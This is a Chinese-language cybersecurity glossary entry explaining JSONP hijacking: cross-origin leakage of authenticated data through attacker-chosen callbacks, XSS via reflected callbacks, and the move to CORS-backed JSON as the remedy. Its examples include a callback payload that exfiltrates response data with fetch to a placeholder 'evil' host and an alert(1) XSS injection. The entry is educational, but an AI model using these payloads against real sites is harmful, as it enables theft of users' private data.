Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
中文
Entry № 566

JSONP 漏洞

JSONP 漏洞 是什么?

JSONP 漏洞JSONP 接口将敏感的已认证数据包装在攻击者指定的回调函数中,导致跨源数据泄露的漏洞。

JSONP(JSON with Padding)是一种早期的跨域技术,服务器返回形如 callback({...}) 的 JavaScript,远程页面可通过 <script src> 引入。当此类接口暴露已认证的用户数据,并且回调参数未经验证即被回显时,就会出现 JSONP 漏洞:攻击者在自己站点上以自定义函数名加载 JSONP URL,从而捕获响应,绕过同源策略以及当时的 SameSite Cookie 保护。如果反射内容超出有效标识符范围,该模式还会造成 XSS。现代最佳实践是彻底废弃 JSONP,改用配合 CORS 的 JSON,并且永远不要让敏感接口可被 <script> 引入。

● 示例

  1. 01

    /api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}。

  2. 02

    callback 参数原样回显,允许通过 callback=alert(1)// 触发 XSS。

● 常见问题

JSONP 漏洞 是什么?

JSONP 接口将敏感的已认证数据包装在攻击者指定的回调函数中,导致跨源数据泄露的漏洞。 它属于网络安全的 攻击与威胁 分类。

JSONP 漏洞 是什么意思?

JSONP 接口将敏感的已认证数据包装在攻击者指定的回调函数中,导致跨源数据泄露的漏洞。

JSONP 漏洞 是如何工作的?

JSONP(JSON with Padding)是一种早期的跨域技术,服务器返回形如 callback({...}) 的 JavaScript,远程页面可通过 <script src> 引入。当此类接口暴露已认证的用户数据,并且回调参数未经验证即被回显时,就会出现 JSONP 漏洞:攻击者在自己站点上以自定义函数名加载 JSONP URL,从而捕获响应,绕过同源策略以及当时的 SameSite Cookie 保护。如果反射内容超出有效标识符范围,该模式还会造成 XSS。现代最佳实践是彻底废弃 JSONP,改用配合 CORS 的 JSON,并且永远不要让敏感接口可被 <script> 引入。

如何防御 JSONP 漏洞?

针对 JSONP 漏洞 的防御通常结合技术控制与运营实践,详见上方完整定义。

JSONP 漏洞 还有哪些其他名称?

常见的别称包括: JSONP 泄露, JSONP 劫持。

● 相关术语